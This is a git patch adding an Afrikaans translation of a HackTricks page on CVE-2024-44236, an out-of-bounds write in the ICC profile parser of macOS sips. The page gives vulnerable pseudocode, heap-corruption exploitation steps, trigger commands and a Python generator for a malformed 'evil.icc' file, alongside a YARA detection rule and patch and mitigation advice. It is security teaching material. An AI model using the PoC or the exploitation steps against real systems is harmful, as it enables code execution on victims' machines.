From 562235d8bef34ac1213aa6a4e52a4c5cc369fb65 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 04:27:49 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips --- .../aw2exec-sips-icc-profile.md | 96 ++++++++++++++----- 1 file changed, 70 insertions(+), 26 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index da0caecf8..ae95d7381 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,50 +4,94 @@ ## Oorsig -'n Uit-die-grense skryf kwesbaarheid in Apple macOS Scriptable Image Processing System (`sips`) ICC profiel parser (macOS 15.0.1, sips-307) as gevolg van onvanpaste validasie van die `offsetToCLUT` veld in `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. 'n Gemaakte ICC-lêer kan nul-skrywe tot 16 bytes oor die heap buffer aktiveer, wat heap metadata of funksie wysers korrupteer en willekeurige kode-uitvoering moontlik maak (CVE-2024-44236). +'n Uit-die-grense **zero-write** kwesbaarheid in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profiel parser (macOS 15.0.1, `sips-307`) laat 'n aanvaller toe om heap metadata te korrupteer en die primitiewe in volle kode-uitvoering te draai. Die fout is geleë in die hantering van die `offsetToCLUT` veld van die `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. As aanvallers `offsetToCLUT == tagDataSize` stel, verwyder die parser **16 bytes oor die einde van die heap buffer**. Heap spraying laat die aanvaller toe om allokator strukture of C++ pointers wat later gedereferensieer sal word, op nul te stel, wat 'n **arbitrary-write-to-exec** ketting oplewer (CVE-2024-44236, CVSS 7.8). + +> Apple het die fout reggestel in macOS Sonoma 15.2 / Ventura 14.7.1 (30 Oktober 2024). 'n Tweede variasie (CVE-2025-24185) is reggestel in macOS 15.5 en iOS/iPadOS 18.5 op 1 April 2025. ## Kwetsbare Kode - -Die kwesbare funksie lees en stel 16 bytes nul vanaf 'n aanvaller-beheerde offset sonder om te verseker dat dit binne die toegewyde buffer lê: ```c -// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) -for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { -if (i > numberOfInputChannels && buffer[i] != 0) -buffer[i] = 0; +// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) +if (offsetToCLUT <= tagDataSize) { +// BAD ➜ zero 16 bytes starting *at* offsetToCLUT +for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) +buffer[i] = 0; // no bounds check vs allocated size! } ``` -Slegs 'n kontrole `offsetToCLUT <= totalDataLength` word uitgevoer. Deur `offsetToCLUT == tagDataSize` in te stel, indeks die lus tot 16 bytes na die einde van `buffer`, wat aangrensende heap metadata korrupteer. - ## Exploitasiestappe -1. **Skep 'n kwaadwillige `.icc` profiel:** -- Bou die ICC-kop (128 bytes) met handtekening `acsp` en 'n enkele `lutAToBType` of `lutBToAType` tag-invoer. -- Stel in die tag-tabel `offsetToCLUT` gelyk aan die tag se `size` (`tagDataSize`). -- Plaas aanvaller-beheerde data onmiddellik na die tag data blok om heap metadata te oorskryf. -2. **Trigger parsing:** +1. **Skep 'n kwaadwillige `.icc` profiel** + +* Stel 'n minimale ICC-kop (`acsp`) op en voeg een `mAB ` (of `mBA `) etiket by. +* Konfigureer die etiket tabel sodat die **`offsetToCLUT` gelyk is aan die etiketgrootte** (`tagDataSize`). +* Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul-skrywings oorvleuel met die allokator metadata. + +2. **Trigger parsing met enige sips operasie wat die profiel raak** ```bash -sips --verifyColor malicious.icc +# verifikasiepaaie (geen uitvoerfile benodig nie) +sips --verifyColor evil.icc +# of implisiet wanneer beelde wat die profiel inkorporeer, omskakel +sips -s format png payload.jpg --out out.png ``` -3. **Heap metadata korrupsie:** Die OOB nul-skrywings oorskryf allokator metadata of aangrensende wysers, wat die aanvaller in staat stel om die vloei van beheer te kapen en arbitrêre kode-uitvoering te bereik in die konteks van die `sips` proses. +3. **Heap metadata korrupsie ➜ arbitrêre skrywe ➜ ROP** +Op Apple se standaard **`nano_zone` allokator**, metadata vir 16-byte slots leef **onmiddellik na** die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, verwoes die 16 nul-skrywings `meta->slot_B`. Na 'n daaropvolgende `free`, word die vergiftigde wysiger in die klein vrye lys geplaas, wat die aanvaller toelaat om **'n vals objek op 'n arbitrêre adres te allokeer** en 'n C++ vtable wysiger wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai. +### Vinning PoC generator (Python 3) +```python +#!/usr/bin/env python3 +import struct, sys + +HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) +TAGS = [(b'mAB ', 132, 52)] # one tag directly after header +profile = HDR +profile += struct.pack('>I', len(TAGS)) # tag count +profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) + +mab = bytearray(52) # tag payload (52 bytes) +struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) +profile += mab + +open('evil.icc', 'wb').write(profile) +print('[+] Wrote evil.icc (%d bytes)' % len(profile)) +``` +### YARA opsporingsreël +```yara +rule ICC_mAB_offsetToCLUT_anomaly +{ +meta: +description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" +author = "HackTricks" +strings: +$magic = { 61 63 73 70 } // 'acsp' +$mab = { 6D 41 42 20 } // 'mAB ' +$mba = { 6D 42 41 20 } // 'mBA ' +condition: +$magic at 0 and +for any i in (0 .. 10): // up to 10 tags +( +($mab at 132 + 12*i or $mba at 132 + 12*i) and +uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size +) +} +``` ## Impak -Suksesvolle eksploitatie lei tot afstandelike arbitrêre kode-uitvoering met gebruikersprivilege op macOS-stelsels wat die kwesbare `sips` nut gebruik. +Die opening of verwerking van 'n vervaardigde ICC-profiel lei tot afstand **arbitraire kode-uitvoering** in die konteks van die aanroepende gebruiker (Preview, QuickLook, Safari beeldrendering, e-posaanhangsels, ens.), wat Gatekeeper omseil omdat die profiel in andersins goedaardige beelde (PNG/JPEG/TIFF) ingebed kan word. -## Opsporing +## Opsporing & Versagting -- Monitor lêer oordragte op algemene protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP). -- Ondersoek oorgedra lêers met handtekening `acsp`. -- Vir elke `mAB ` of `mBA ` tag, verifieer of die `Offset to CLUT` veld gelyk is aan die `Tag data size`. -- Merk as verdag indien hierdie voorwaarde nagekom word. +* **Patches!** Verseker dat die gasheer macOS ≥ 15.2 / 14.7.1 (of iOS/iPadOS ≥ 18.1) draai. +* Ontplooi die YARA-reël hierbo op e-posgate en EDR-oplossings. +* Verwyder of saniteer ingebedde ICC-profiele met `exiftool -icc_profile= -overwrite_original ` voordat verdere verwerking op onbetroubare lêers plaasvind. +* Versterk Preview/QuickLook deur dit binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word. +* Vir DFIR, soek na onlangse uitvoering van `sips --verifyColor` of `ColorSync` biblioteeklaai deur gesandboksde toepassings in die verenigde log. ## Verwysings -- ZDI blog: CVE-2024-44236: Afstandelike Kode-uitvoering Kwesbaarheid in Apple macOS sips Nut -https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos -- Apple Oktober 2024 Sekuriteitsopdatering (patch wat CVE-2024-44236 verskaf) -https://support.apple.com/en-us/121564 +* Trend Micro Zero Day Initiative advies ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” +https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ +* Apple sekuriteitsopdaterings HT213981 “Oor die sekuriteitsinhoud van macOS Sonoma 15.2” +https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}